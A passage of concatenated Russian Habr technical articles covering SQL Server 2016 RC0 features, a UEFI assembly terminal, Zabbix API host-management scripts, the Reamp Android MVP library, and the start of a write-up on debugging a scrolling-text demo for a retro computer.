AND waiting_tasks_count > 0
SELECT spins
FROM sys.dm_os_spinlock_stats
WHERE name = 'SOS_SUSPEND_QUEUE'
AND spins > 0
```
то использование *TF 8048* помогало избавиться от проблем с производительностью. В *SQL Server 2016* данный трейс флаг включен по умолчанию.
##### **SCOPED CONFIGURATION**
На уровне базы появилась новая [группа настроек](https://msdn.microsoft.com/en-US/library/mt629158%28SQL.130%29.aspx):
Получить их можно из нового системного представления *sys.database\_scoped\_configurations*. Лично меня очень радует, что степень параллелизма менять можно не глобально как раньше, а настраивать персонально для каждой базы:
```
ALTER DATABASE SCOPED CONFIGURATION SET MAXDOP = 0
```
Включать старый *Cardinality Estimation* (раньше приходилось включать *TF 9481* либо понижать *compatibility level* до 2012):
```
ALTER DATABASE SCOPED CONFIGURATION SET LEGACY_CARDINALITY_ESTIMATION = ON
```
Отключать *Parameter Sniffing* (раньше для этого включали *TF 4136* или хардкодили *OPTIMIZE FOR UNKNOWN*)
```
ALTER DATABASE SCOPED CONFIGURATION SET PARAMETER_SNIFFING = OFF
```
Также добавили возможность включать *TF 4199*, который объединяет в себе внушительный [список](https://support.microsoft.com/en-us/kb/974006) самых разных оптимизаций.
```
ALTER DATABASE SCOPED CONFIGURATION SET QUERY_OPTIMIZER_HOTFIXES = ON
```
Для любителей вызывать вызывать команду *DBCC FREEPROCCACHE* предусмотрели команду для очистки процедурного кеша:
```
ALTER DATABASE SCOPED CONFIGURATION CLEAR PROCEDURE_CACHE
```
Аналог команды:
```
DECLARE @id INT = DB_ID()
DBCC FLUSHPROCINDB(@id)
```
Также думаю будет полезно добавить запрос, по которому можно отслеживать обьем процедурного кеша в разрезе баз:
```
SELECT db = DB_NAME(t.[dbid]), plan_cache_kb = SUM(size_in_bytes / 1024)
FROM sys.dm_exec_cached_plans p
CROSS APPLY sys.dm_exec_sql_text(p.plan_handle) t
WHERE t.[dbid] < 32767
GROUP BY t.[dbid]
ORDER BY 2 DESC
```
Теперь рассмотрим новые функции:
##### **JSON\_MODIFY**
В *RC0* добавили возможность модифицировать *JSON* c помощью функции [*JSON\_MODIFY*](https://msdn.microsoft.com/en-us/library/dn921892.aspx):
```
DECLARE @js NVARCHAR(100) = '{
"id": 1,
"name": "JC",
"skills": ["T-SQL"]
}'
SET @js = JSON_MODIFY(@js, '$.name', 'Paul') -- update
SET @js = JSON_MODIFY(@js, '$.surname', 'Denton') -- insert
SET @js = JSON_MODIFY(@js, '$.id', NULL) -- delete
SET @js = JSON_MODIFY(@js, 'append $.skills', 'JSON') -- append
PRINT @js
```
```
{
"name": "Paul",
"skills": ["T-SQL","JSON"],
"surname":"Denton"
}
```
##### **STRING\_ESCAPE**
Также появилась функция [*STRING\_ESCAPE*](https://msdn.microsoft.com/en-us/library/mt684589.aspx), которая экранирует спецсимволы в тексте:
```
SELECT STRING_ESCAPE(N'JS/Denton "Deus Ex"', N'JSON')
```
```
------------------------
JS\/Denton \"Deus Ex\"
```
##### **STRING\_SPLIT**
Срочно радоваться! Наконец появилась функция [*STRING\_SPLIT*](https://msdn.microsoft.com/en-us/library/mt684588.aspx), которая избавляет нас от прежних извращений с *XML* и *CTE*:
```
SELECT * FROM STRING_SPLIT(N'1,2,3,,4', N',')
```
```
value
---------
1
2
3
4
```
Но есть и «ложка дегтя», функция работает только с разделителем в один символ:
```
SELECT * FROM STRING_SPLIT(N'1--2--3--4', N'--')
```
*Msg 214, Level 16, State 11, Line 3
Procedure expects parameter 'separator' of type 'nchar(1)/nvarchar(1)'.*
С точки зрения производительности сравним старые методы сплита и новые:
```
SET STATISTICS TIME ON
DECLARE @x VARCHAR(MAX) = 'x' + REPLICATE(CAST(',x' AS VARCHAR(MAX)), 500000)
;WITH cte AS
(
SELECT
s = 1,
e = COALESCE(NULLIF(CHARINDEX(',', @x, 1), 0), LEN(@x) + 1),
v = SUBSTRING(@x, 1, COALESCE(NULLIF(CHARINDEX(',', @x, 1), 0), LEN(@x) + 1) - 1)
UNION ALL
SELECT
s = CONVERT(INT, e) + 1,
e = COALESCE(NULLIF(CHARINDEX(',', @x, e + 1), 0), LEN(@x) + 1),
v = SUBSTRING(@x, e + 1, COALESCE(NULLIF(CHARINDEX(',', @x, e + 1), 0), LEN(@x) + 1)- e - 1)
FROM cte
WHERE e < LEN(@x) + 1
)
SELECT v
FROM cte
WHERE LEN(v) > 0
OPTION (MAXRECURSION 0)
SELECT t.c.value('(./text())[1]', 'VARCHAR(100)')
FROM
(
SELECT x = CONVERT(XML, '*' + REPLACE(@x, ',', '**') + '*').query('.')
) a
CROSS APPLY x.nodes('i') t(c)
SELECT *
FROM STRING_SPLIT(@x, N',')
```
Результаты выполнения:
```
(CTE)
SQL Server Execution Times:
CPU time = 18719 ms, elapsed time = 19109 ms.
(XML)
SQL Server Execution Times:
CPU time = 4672 ms, elapsed time = 4958 ms.
(STRING_SPLIT)
SQL Server Execution Times:
CPU time = 2828 ms, elapsed time = 2941 ms.
```
##### **Live Query Statistics**
Что еще понравилось… В новой версии *SSMS* появилась возможность отслеживать как выполняется запрос в режиме реального времени:
Данный функционал поддерживается, не только в *SQL Server 2016*, но и для *SQL Server 2014*. На уровне метаданных данный функционал реализован посредством выборки из *sys.dm\_exec\_query\_profiles*:
```
SELECT
p.[sql_handle]
, s.[text]
, p.physical_operator_name
, p.row_count
, p.estimate_row_count
, percent_complete = 100 * p.row_count / p.estimate_row_count
FROM sys.dm_exec_query_profiles p
CROSS APPLY sys.dm_exec_sql_text(p.[sql_handle]) s
```
Чтобы сохранить читабельность, за бортом этого обзора я оставил некоторые новые возможности *SQL Server* (*Temporal Tables*, *Dynamic Data Masking* и улучшения в *In-Memory*), которые планирую добавить после того как выйдет *RTM* версия.
Если хотите поделиться этой статьей с англоязычной аудиторией:
[SQL Server 2016 RC0](http://blog.devart.com/sql-server-2016-rc0.html) | https://habr.com/ru/post/259729/ | null | ru | null |
# Написание ОС с нуля: Глава 2, Часть 3 — Терминал
Ссылки:
-------
* [предыдущая часть](https://habr.com/ru/post/680270/)
* [глава 1, часть 1](https://habr.com/ru/post/670030/)
* [гитхаб](https://github.com/vanosoft/HexOS)
Вступление
----------
В предыдущей статье мы написали простейший *загрузчик*, печатающий на экран "Hello, World!" и завершающийся по нажанию клавиши. Сегодня напишем *терминал*, у которого будет несколько комманд, обновим библиотеку для *UEFI* и сделаем ещё пару вещей.
Библиотека
----------
По сравнению с библиотекой из предыдущей статьи, до сегодня она стала массивнее, и поддерживать её в таком виде, как на рис. 1 становится почти невозможно. Поэтому было принято решение поменять структуру библиотеки. Итоговая структура изображена на рис. 2:
рис. 1: старая структура проекта и библиотекирис. 2: новая структура проекта и библиотеки. Немного страшно, но когда я посмотрел на структуру проекта EDK II, я почувствовал куда более сильные эмоции :)Что там нужно уметь.. Ага, нашел..
----------------------------------
Для **самого** базового *терминала* нам нужно уметь следующее:
1. Печатать в консоль
2. Принимать ввод
3. определять комманды
4. выполнять комманды
Печатать мы научились ещё в предыдущей статье. Дальше по списку: "принимать ввод". В предыдущей статье был *макрос* для ожидания нажатия любой клавиши, но этого точно мало для того, чтобы получать строки с *коммандами*. Дак сделаем новый макрос! Макросы для взаимодействия с вводом / выводом я определяю в файле `ioefi.inc`. Для приема строки нужно:
1. принять клавишу.
2. если нажат `Backspace`, то убрать последний символ.
3. если нажат `Enter`, то поставить `null` в *буффере* и закончить работу макроса.
4. если это обычная клавиша, то напечатать её на экран, сохранить в *буффер*, сместить *курсор буффера* и перейти к `п.1`.
В коде примерно так:
```
; libuefi.inc
__scanln:
pushaq
mScankey __key_buf
popaq
mov bp, word [__key_buf+2]
cmp bp, word kEnter
je .exit
cmp bp, word kBackspace
je .bs
mPrint __key_buf+2
mov [rbx], word bp
add rbx, 2
jmp __scanln
.exit:
;mPrintln
mov [rbx], word cNull
ret
.bs:
cmp rbx, rcx
je __scanln
mPrint __bs_string
sub rbx, 2
mov [rbx], word cNull
jmp __scanln
```
```
; ioefi.inc
macro mScanln _buffer {
if ~ buffer eq
mov rbx, _buffer
mov rcx, rbx
call __scanln
end if
}
```
Ура! Но это не всё. если последний пункт выполняется условным прыжком, то сравнение строк ещё не реализовано! Что же, не проблема - я набросал 2 макроса: для сравнения строк *целиком* и для сравнения, *начинается* одна строка с другой или нет. Вышло как-то так:
```
; libuefi.inc
__compare_unicode_strings:
rep cmpsw
mov rbx, rsi
mCall __length_unicode_string
mov rcx, rdx
mov rbx, rdi
mCall __length_unicode_string
cmp rcx, rdx
ret
__compare_unicode_strings_prefixes:
repnz cmpsw
ret
__length_unicode_string:
mov ax, word [rbx]
test ax, ax
jz .exit
inc rcx
add rbx, 2
jmp __length_unicode_string
.exit:
ret
```
```
; macroefi.inc
macro mCompareStrings str1, str2 {
lea rsi, [str1]
lea rdi, [str2]
mCall __compare_unicode_strings
}
macro mCompareStringsPrefixes str1, str2 {
lea rsi, [str1]
lea rdi, [str2]
mCall __compare_unicode_strings_prefixes
}
macro mLenString _str, _dest {
mov rbx, _str
xor rcx, rcx
mCall __length_unicode_string
mov _dest, rcx
}
; так же набросал эти два макроса, но они не так важны и используется
; только в одной функции из файла libuefi.inc
macro pushaq {
push rax rbx rcx rdx
push rbp rsi rdi;rsp
}
macro popaq {
pop rdi rsi rbp;rsp
pop rdx rcx rbx rax
}
```
Соединяем всё вместе
--------------------
Итак, напишем программу, которая будет имитировать *терминал*:
```
; bootx64.asm
; импортируем библиотеку
include "include/uefi+.inc"
; определяем макросы
mDefMacros
; простите, не могу без этого :_)
nl EQU cNl
; определяем точку входа
mEntry main
; определяем системные функции
mDefSystem
; секция кода
section ".text" code executable readable
; главная функция
main:
; готовим библиотеку
mInit fatal_error
; пишем, что все ОК
mPrintln str_start_OK
; внимание: мы - это админ
mPrintln str_admin_WARN
; переход на новую строку
mNewline 1
.command_loop:
mNewline 1
; читаем строку
mScanln command
; сравниваем и исполняем
mCompareStrings command, str_cmd_help
je execute.help
mCompareStrings command, str_cmd_exit
je execute.exit
mCompareStrings command, str_cmd_boot
je execute.boot
mCompareStringsPrefixes command, str_cmd_echo
je execute.echo
jmp .command_loop
; выход со статусом УСПЕШНО
.exit:
;
mExit EFI_SUCCESS
; фатальная ошибка
fatal_error:
mPrint str_fatal_FAIL
mWaitkey kEnter
mExit EFI_ERROR
jmp fatal_error
; функции - комманды
execute:
.help:
mPrintln str_help_NORM
jmp main.command_loop
.echo:
mPrintln command+10
jmp main.command_loop
.exit:
mPrint str_exit_NORM
@@: ; в цикле ждем [Enter] или [Escape]
mScankey key
cmp word [key.unicode], kEnter
je main.exit
cmp word [key.unicode], kEscape
je main.command_loop
jmp @b
.boot:
mPrintln str_boot_FAIL
jmp main.command_loop
; определяем системные данные
mDefLibrary
section ".data" data readable writeable
; тут всякие строки
str_start_OK sString '[ OK ] Started: /efi/boot/boox64.efi'
str_admin_WARN sString "[ WARN ] You are logged in as admin"
str_fatal_FAIL sString '[ FAIL ] Fatal error occurred. Press [Enter] for exit...'
str_help_NORM sString 'VUS - Very Useless Shell', nl, nl, "help - shows this message", nl, 'echo [message] - echoes typed message', nl, "exit - exit VUS", nl, "boot - not implemented"
str_boot_FAIL sString "[ FAIL ] Not implemented"
str_exit_NORM sString "Press [Enter] for exit or [Esc] for cancel"
str_cmd_help sString "help"
str_cmd_echo sString "echo "
str_cmd_exit sString "exit"
str_cmd_boot sString "boot"
; буффер для комманды
command sStrbuf 512
; буффер клавиши
key sKey
; объявляем системные поля
mEfidata
; зачем-то нужна `\_(._.)_/`
section ".reloc" fixups data discardable
```
Скриншот работы нашего терминалаИтоги
-----
В течении статьи мы обновили библиотеку и создали простой терминал. В целом, из этого уже можно что-нибудь да сделать (там, псевдогравические игры или программы без сохрания изменений и пр.). Надеюсь, эта статья будет кому-нибудь полезна. Не забудьте посетить мой гитхаб! Там есть всякие интересности :).
Поддержка
---------
Я буду рад полезным ссылкам, рекоммендациям как улучшить статью и всяким советам, репортам по опечаткам и фактическим ошибкам. Так же приминаются полезные пулл реквесты :). Спасибо за внимание! | https://habr.com/ru/post/681374/ | null | ru | null |
# Массовое добавление/удаление хостов в Zabbix при помощи API
На одном из проектов часто разворачивались/удалялись новые ноды в облаке, соответственно, появилась задача добавления/удаления новых хостов в Zabbix для мониторинга доступности и снятия статистики. Для саморазвития было решено использовать библиотеку [zabbix API](https://github.com/gescheit/scripts/tree/master/zabbix/) на питоне. Это был первый опыт написания скриптов, поэтому буду благодарен за отзывы и замечания по коду.
Мы используем zabbix 1.8.5 — как показала практика, порой в разных версиях 1.8.\* данные могут возвращаться разными типами данных, так что возможны несостыковки при работе скриптов с другими версиями zabbix, впрочем, они легко устранимы.
Для добавления нового хоста, нам потребуется знать следующие параметры:
* Будущее имя хоста в Zabbix
* DNS
* IP
* порт, который слушает zabbix агент
* будем ли мы мониторить хост по IP (1 или 0.) Соответственно, если 0 — то будем мониторить по DNS
* id групп, в которые мы добавим хост
* id шаблонов (templates), которые мы хотим подключить к хосту
* опционально — макросы для хоста
Кратко по приведенным выше пунктам: если с первыми пятью все довольно просто и понятно, то оставшиеся для человека, имеющего небольшой опыт с заббиксом, могут вызывать вопросы. Более подробную информацию, разумеется, правильнее и лучше смотреть на сайте с документацией zabbix.
Группы хостов — вещь довольно удобная. Например, при настройке сценариев уведомлений, для разных групп можно создать разные условия и типы уведомлений, к примеру, для одних групп — отсылать E-Mail и SMS уведомления, для других — только E-Mail и так далее.
Шаблоны — это, грубо говоря, набор параметров, по которым снимаются данные а также триггеры, реагирующие на события. Для веб-серверов, например, мы будем снимать данные с apache или nginx, в то время как для БД нам будут нужны абсолютно другие параметры. Соотвественно, к разным хостам мы будем подключать разные шаблоны.
Наконец, макросы — это переменные, которые мы передаем хосту. К примеру, у нас есть item (в русском варианте — «Элементы данных»), который снимает статистику утилизации HDD. Так как дисков у нас может быть несколько, макросы позволяют нам передать, что $DISK1=/dev/sda, $DISK2=/dev/sdb и т.д., таким образом, снимая статистику с разных дисков одним item-ом при помощи макросов.
Что нужно изменить в конфигурации скриптов?
Нужные параметры хранятся в файле **zabbix\_credentials.py**
* server — URL сервера. По умолчанию — `127.0.0.1/zabbix`
* username, password — логин и пароль пользователя, от имени которого будет идти запрос к API. Также, этот пользователь должен иметь права на доступ к API. По умолчанию — admin/zabbix.
* По желанию — log level. Значение по умолчанию — 0.
Добавление хоста осуществляется таким образом: ``zabbix_host_add.py
Удаление - zabbix\_host\_del.py
Собственно, сами скрипты с кратким readme - github.com/gnetsman/zabbix\_api`` | https://habr.com/ru/post/146455/ | null | ru | null |
# Библиотека Reamp: обезболивающее для ваших Android-приложений
Однажды мы в компании EastBanc Technologies устали бороться с теми архитектурными проблемами, которые возникают в Android-разработке и решили все исправить:). Мы хотели найти решение, которое удовлетворит всем нашим требованиям.
И, как это часто бывает, готового решения тогда не нашлось и нам пришлось сделать собственную библиотеку, которая уже приносит счастье нам, и может помочь и вам.
Какие проблемы решали:
* Уйти от жизненного цикла экранов, будь то Activity, Fragment или View
* Уйти от необходимости писать код для сохранения и восстановления состояния для каждого экрана
* Повысить стабильность: защититься от досадных крешей и утечек памяти
* Повысить переиспользуемость кода между телефонным UI и планшетным UI
*Лирическое отступление. Почему Reamp?
Это же вроде такая приблуда для записывания электрогитар?
Конечно, в нашем случае Reamp к звукозаписи никакого отношения не имеет. Изначально мы думали что это будет аббревиатура, потому что там есть M и P (model и presenter), A — уже и не помним зачем, RE — потому что это было на реактиве написано. Но реактив мы уже выкинули, и осталось просто прикольное название.*
В процессе реализации мы старались следовать манифесту, который сами же и придумали:
* Библиотека должна быть очень простой в освоении
* Библиотека должна быть очень простой в исполнении: минимум зависимостей, никакой манипуляции с байт-кодом и никакой кодогенерации
* Библиотека должна быть расширяемой
* Библиотека должна легко интегрироваться с другими популярными сопутствующими решениями
В результате у нас получилась MVP/MVVM библиотека, которую мы с успехом используем уже больше года и пока не собираемся менять. Мы считаем, что теперь пришло время поделиться ей с общественностью!
Зачем?
======
Давайте рассмотрим решение самой типовой задачи практически любого мобильного приложения – авторизация.
У нас есть поля ввода логина и пароля, кнопка входа, ProgressBar для отображения хода операции и TextView, чтобы показать результат.
 
Требования к поведению такого экрана довольно типичны:
* Кнопка входа должна быть заблокирована пока поля ввода не заполнены
* Кнопка входа должна быть заблокирована пока выполняется запрос к серверу
* При повороте экрана пользователь не должен вводить все заново, а операция входа не должна сбрасываться
Давайте проанализируем, о чем должен подумать разработчик при решении такой задачи.
### Валидация
А что тут сложного? На `loginEditText` вешаем `changeListener`, который включает или выключает кнопку, когда `login` пустой или не пустой!
```
loginEditText.addTextChangeListener = { text -> button.setEnabled(text.length() > 0) }
```
Да, но это будет работать только для одного поля. А у нас еще есть пароль:
```
loginEditText.addTextChangeListener = { text -> validate() }
passwordEditText.addTextChangeListener = { text -> validate() }
private void validate() {
boolean loginValid = loginEditText.getText().toString().lenght() > 0
boolean passwordValid = passwordEditText.getText().toString().lenght() > 0
button.setEnabled(loginValid && passwordValid)
}
```
Ну теперь то точно все! Не а, есть еще асинхронная операция входа, в процессе которой кнопка должна быть заблокирована.
Ок, просто выключаем кнопку перед выполнением запроса и… тогда ее можно будет включить, поменяв текст в `loginEditText` или `passwordEditText`.
Правильнее будет добавить проверку наличия активного запроса внутрь метода `validate()`.
Наверное вы уже догадались, к чему этот пункт. Нужно помнить о куче вещей и их связей, которые могут влиять на UI.
О них легко забыть, когда нужно добавить и провалидировать еще одно поле ввода или Switch.
### Вот, новый поворот
Для входа нам нужна асинхронная операция, будь то `AsyncTask` или `RxJava` + `Scheduler`, неважно.
Важно то, что мы не можем написать ее внутри нашей `Activity`, ведь мы не хотим останавливать ее при повороте экрана.
Нужно вынести задачу за рамки `Activity`, при ее запуске придумать и запомнить какой-то ее идентификатор, чтобы позднее иметь возможность проверить статус этой задачи или получить ее результат.
И нужно будет написать какой-то менеджер подобных операций или взять из готовых, благо таковых много.
### Состояние
Состояние экрана — это то, с чем приходится иметь дело постоянно.
Парадоксально, но факт — многие разработчики продолжают игнорировать состояние экрана в своих приложениях, оправдываясь тем, что его программа работает только в одной ориентации.
В то время, как `EditText` умеет самостоятельно хранить введенный в него текст, состояние кнопки входа придется восстанавливать в соответствии с введенным текстом и текущей сетевой операцией.
Чем больше различных данных нужно хранить и восстанавливать в `Activity`, тем сложнее за ними следить и тем проще что-то упустить.
Какое решение предлагает Reamp?
-------------------------------
В Reamp мы используем `Presenter` для реализации поведения экрана и `StateModel` для хранения тех данных, которые этому экрану нужны.
Все довольно просто. `Presenter` практически не зависит от жизненного цикла экрана.
Выполняя какие-то операции, которые от него требуются, `Presenter` заполняет объект `StateModel` разными нужными данными.
Каждый раз, когда `Presenter` считает, что свежие данные нужно показать на эране, он сообщает об этом своей `View`.
Show me the code!
=================
На практике это работает следующим образом:
`LoginState` – класс, содержащий информацию о том, что должно отображаться на экране:
нужно ли показывать ProgressBar, какое состояние должно быть у кнопки входа, что написано в текстовых полях ввода и т.п.
`LoginPresenter` получает события от `LoginActivity` (ввели текст, нажали кнопку),
выполняет нужные операции, заполняет класс `LoginState` нужными данными и отправляет в `LoginActivity` на “рендеринг”.
`LoginActivity` получает событие о том, что данные в `LoginState` изменились и настраивает свой layout в соответствии с ними.
```
//LoginState
public class LoginState extends SerializableStateModel {
public String login;
public String password;
public boolean showProgress;
public Boolean loggedIn;
public boolean isSuccessLogin() {
return loggedIn != null && loggedIn;
}
}
//LoginPresenter
public class LoginPresenter extends MvpPresenter {
@Override
public void onPresenterCreated() {
super.onPresenterCreated();
//настраиваем отображение при свежем старте
getStateModel().setLogin("");
getStateModel().setPassword("");
getStateModel().setLoggedIn(null);
getStateModel().setShowProgress(false);
sendStateModel(); //отправляем LoginState на "отрисовку"
}
// вызывается классом View, когда требуется выполнить логин
public void login() {
getStateModel().setShowProgress(true); // экран должен показать индикатор прогресса
getStateModel().setLoggedIn(null); // результат входа пока неизвестен
sendStateModel(); // отправляем текущее состояние экрана на "отрисовку"
// эмулируем пятисекундный запрос на вход
new Handler()
.postDelayed(new Runnable() {
@Override
public void run() {
getStateModel().setLoggedIn(true); // сообщаем об успешном входе
getStateModel().setShowProgress(false); // убираем индикатор прогресса
sendStateModel(); // отправляем текущее состояние экрана на "отрисовку"
}
}, 5000);
}
public void loginChanged(String login) {
getStateModel().setLogin(login); // запоминаем то, что ввел пользователь
}
public void passwordChanged(String password) {
getStateModel().setPassword(password); // запоминаем то, что ввел пользователь
}
}
//LoginActivity
public class LoginActivity extends MvpAppCompatActivity {
/\*\*\*/
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity\_login);
/\*\*\*/
loginActionView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
getPresenter().login(); // сообщаем о событии презентеру
}
});
// следим за тем, что ввел пользователь
loginInput.addTextChangedListener(new SimpleTextWatcher() {
@Override
public void afterTextChanged(Editable s) {
getPresenter().loginChanged(s.toString()); // сообщаем о событии презентеру
}
});
// следим за тем, что ввел пользователь
passwordInput.addTextChangedListener(new SimpleTextWatcher() {
@Override
public void afterTextChanged(Editable s) {
getPresenter().passwordChanged(s.toString()); // сообщаем о событии презентеру
}
});
}
// вызывается библиотекой, когда требуется создать свежий экземпляр модели LoginState
@Override
public LoginState onCreateStateModel() {
return new LoginState();
}
// вызывается библиотекой, когда требуется создать свежий экземпляр презентера LoginPresenter
@Override
public MvpPresenter onCreatePresenter() {
return new LoginPresenter();
}
// вызывается библиотекой каждый раз, когда состояние экрана поменялось
@Override
public void onStateChanged(LoginState stateModel) {
progressView.setVisibility(stateModel.showProgress ? View.VISIBLE : View.GONE); // устанавливаем нужное состояние индикатора прогресса
loginActionView.setEnabled(!stateModel.showProgress); // пока происходит запрос, кнопка входа недоступна
successView.setVisibility(stateModel.isSuccessLogin() ? View.VISIBLE : View.GONE); // устанавливаем нужное состояние "успешного" виджета
}
}
```
На первый взгляд все, что мы сделали – это вынесли значимые динамические данные в LoginState, перенесли часть кода (такую как запрос на вход) из Activity в Presenter и больше ничего. На второй взгляд — это действительно так :) Потому, что всю скучную работу за нас делает Reamp:
* Если мы повернем экран, то это никак не повлияет на работу презентера и запроса на вход. При пересоздании `LoginActivity` она сразу получит последнее состояние `LoginState`. Если запрос все еще выполняется, `LoginState` будет содержать информацию о том, что кнопка входа неактивна, а индикатор загрузки показывается. Если же операция входа успеет завершиться как раз в момент поворота экрана, презентер заполнит `LoginState` результатом входа и будущая LoginActivity сразу получит этот результат.
* Все данные, находящиеся в `LoginState` попадают в `Bundle savedState`, когда система просит сохранить состояние экрана. Разумеется, Reamp умеет восстанавливать `LoginState` из `Bundle`, если наша программа была выгружена из памяти ранее. По умолчанию для сохранения `LoginState` используется механизм сериализации объектов, но вы всегда можете написать свой, если нужно.
* Нет необходимости проверять `savedState` на `null` при старте `LoginActivity`, так же как и нет вероятности забыть показать `ProgressBar`, если запрос на вход уже в процессе. Весь код, отвечающий за отображение текущего состояния сосредоточен в одном месте и всегда учитывает данные из `LoginState` целиком. Такой подход обеспечивает консистентность данных на UI.
* Нет необходимости проверять доступность нашей `Activity` перед тем, как что-то сделать с UI, как это делается в некоторых других MVP-библиотеках. Другими словами, нет бесконечных проверок `if (view != null)`. В презентере мы работаем напрямую с состоянием, которое доступно в любой момент времени.
Мы перечислили, как Reamp помогает избавиться от boilerplate-кода, но это далеко не весь профит от использования библиотеки. С помощью Reamp мы повышаем стабильность работы приложения: Reamp позаботится о том, чтобы вызов метода `onStateChanged(...)` всегда происходил в главном потоке.
Все исключения, возникающие внутри вызова `onStateChanged(...)` не роняют процесс приложения. Правильная работа с исключениями в Java это высокий скилл, но исключения, возникающие на самом верхнем UI уровне (при настройке layout), чаще оказываются досадными недоразумениями, чем преднамеренным событием и аварийное завершение программы здесь абсолютно лишнее.
С Reamp можно не бояться утечек `Activity`, т.к. вы всегда работаете напрямую с классами презентера и состояния.
Last but not least, с помощью Reamp мы повышаем качество кода:
Код становится более тестируемым. В действительности, нам даже не нужны `Instrumentation`-тесты, т.к. достаточно протестировать презентер и убедиться, что после каждой операции наш `LoginState` имеет правильный набор данных
Класс состояния – это отличный кандидат для хранения UI логики. Если наш `LoginState`знает о прогрессе входа, введенных логине и пароле, то он уже имеет все исходные данные, чтобы решить нужно ли включить кнопку входа
```
public class LoginState extends SerializableStateModel {
/***/
public boolean isLoginActionEnabled() {
return !showProgress
&& (loggedIn == null || !loggedIn)
&& !TextUtils.isEmpty(login)
&& !TextUtils.isEmpty(password);
}
}
```
Такой подход хорошо согласуется с принципом разделения ответственности и сильно разгружает код класса нашей `LoginActicity`.
Код становится переиспользуемым. `LoginPresenter` можно использовать и в других проектах, где нужно реализовать похожий экран, просто поменяв UI составляющую этого экрана.
Сравнение с похожими решениями
------------------------------
Безусловно, Reamp – не единственная MVP/MVVM библиотека, тысячи их!
Когда мы начинали делать Reamp мы сознательно хотели написать то, что нужно именно нам.
И, конечно, мы изучали имеющиеся на то время альтернативы, чтобы взять лучшее и избежать того, что нам не понравится :)
Не хочется устраивать холивар и тем более тыкать в кого-то пальцем, просто резюмируем то, что нам нравится в Reamp, а чего мы стараемся в нем избегать.
Во-первых, Reamp очень простой в использовании. Мы не используем генерацию кода и стараемся вводить минимум новых классов, которые нужны лишь для работы самой библиотеки.
В отличие, к примеру, от новых Android Architecture Components, нам не требуется целого зоопарка вспомогательных технических классов и аннотаций, чтобы решить те же проблемы.
Второй пункт является отчасти следствием первого. Имея неперегруженную архитектуру и минимум зависимостей можно легко интегрироваться со многими популярными современными технологиями.
Например, с DataBinding, ведь `StateModel` уже и есть квинтэссенция тех данных, которые нужны DataBinding-у для работы.
Еще один пример, не имея никакой магии с байт-кодом, мы без всяких проблем используем Reamp программируя на Kotlin.
В-третьих, нет необходимости глобально менять какой-то существующий проект, можно просто начать использовать Reamp в уже существующем проекте.
В одной статье сложно рассказать про все, что хочется, но у нас есть [демо-приложение](https://github.com/eastbanctechru/Reamp/tree/master/sample), которое шаг за шагом покажет все возможности Reamp, от самых простых до комплексных решений.
Ссылки
------
Reamp на GitHub — <https://github.com/eastbanctechru/Reamp>
Демо-приложение — <https://github.com/eastbanctechru/Reamp/tree/master/sample>
Если вы хотите попробовать Reamp в своем проекте или хотите получить больше информации,
загляните в [Wiki](https://github.com/eastbanctechru/Reamp/wiki) проекта, а в особенности в раздел [FAQ](https://github.com/eastbanctechru/Reamp/wiki/Questions-and-Answers). | https://habr.com/ru/post/338744/ | null | ru | null |
# Ловля жуков в чемодане
[](https://habr.com/ru/company/ruvds/blog/652151/)
Эпопею с [чемоданом](https://habr.com/ru/company/ruvds/blog/598697/) хотелось завершить красивой демкой, с бегущей строкой и всякими графическими эффектами на дисплее. Всё это вшить в ПЗУ, и наслаждаться этим в любой удобный момент.
На этапе пока я не научился шить ПЗУ, заготовки демки были реализованы ещё в оперативной памяти. И казалось бы, смени адреса, залей в ПЗУ и будет счастье. Но при попытке прошить это в постоянную память, ничего не работало. Попробовал проверить свою программу в эмуляторе и она без проблем выполнила всё именно так, как я от неё ожидал. Код даже работал при записи его частями в УМК, но целиком, со всеми прелестями, вылетал с ошибкой.
И всё никак в толк не мог взять: это лыжи не едут, либо у меня проблемы с ассемблером.
Пробегался по каждой инструкции, стал сам линкером, уже как процессор начал всё исполнять, но ошибку в коде никак не мог найти. И вот тут начинается квест жёсткого аппаратного дебага и трёх недель бессонных ночей.
Предыстория
-----------
Ещё к самой первой моей статье «Волшебный чемодан» я написал небольшую демку с бегущей строкой, которая была в оперативной памяти. Как оказалось, бегущая строка не так проста, как кажется на первый взгляд. И у меня не было понимания, как её реализовать. Изначально, для осознания как она должна работать, сделал реализацию её на си.
**Бегущая строка на си**
```
#include
#include
#include
int main () {
char array[] = "hello habr ";
int len = strlen(array);
int position = 0;
while (1) {
for (int i = 0; i < 6; i ++) {
if ((i + position) < len) {
putchar(array[i + position]);
} else {
putchar(array[i + position - len]);
}
}
if (++position == len) {
position = 0;
}
usleep(10000);
putchar('\n');
}
return 0;
}
```
Далее начал переносить код в ассемблер, попутно вводя его в чемодан. Самое сложное было его отлаживать, поскольку программа занимала примерно 120 байт, то ввод каждый раз занимал примерно 10 минут. Дошло у меня до того, что я разбил программу на куски, раскидал их по адресам, и перебивал только те места, которые заменил. Это вообще суровая отладка, которой я никогда не занимался. Весьма интересный опыт.
Вот пример промежуточного результата (музыка ютуб).
Ещё видны артефакты, тогда не понимал, как зациклить бегущую строку. Но в результате разобрался, после всех многократных итераций, нескольких недель бессонных ночей, у меня получился следующий код. Он максимально оптимизирован (в рамках моего понимания), и он работает в ОЗУ.
**Код на ассемблере с бегущей строкой**
```
len equ 0x15
counter_sh equ 0x0618; 0x618 если буду делать 1 раз 6 0x2492
ORG 0800h
start:
lxi h, counter_sh
m1:
mvi b, 0x01
mvi c, 00 ; i
lxi d, data
m2:
lda position_a
add c; i+position
cpi len ;вычитаем длину из а
jp else ; если больше, то переходим
;Если больше нуля putchar(array[i + position]);
mov e, a; array_l
jmp putchar
else:
;если меньше нуля putchar(array[i + position - len]);
sui len;mvi a, len 2
mov e, a; array_l
putchar:
call out_p;вывод символа
;проверка количества циклов выполнения
dcx h
mov a, h
ora l
jz increment_pos; типа всё, цикл закончен!
;проверка сдвига по выводу на экран
mov a, b
cpi 0x20
jz m1; если 20, то перейти на m1
adi 1;rlc ; сдвинуть влево
mov b, a
inr c; i++
; inx d
jmp m2
increment_pos:
lda position_a
inr a;
cpi len; достигли ли мы конца?
jnz load_pos;ещё пока не достигли дна
sub a ;дно пробито, очищаем позицию на нуль
load_pos:
sta position_a; загружаем её
jmp start; топаем на старт
out_p:
;F8 - рег сегментных
;F9 - настр
mvi a, 0; Погасим все сегменты
out 0F8h; зажигаем соответствующий сегмент
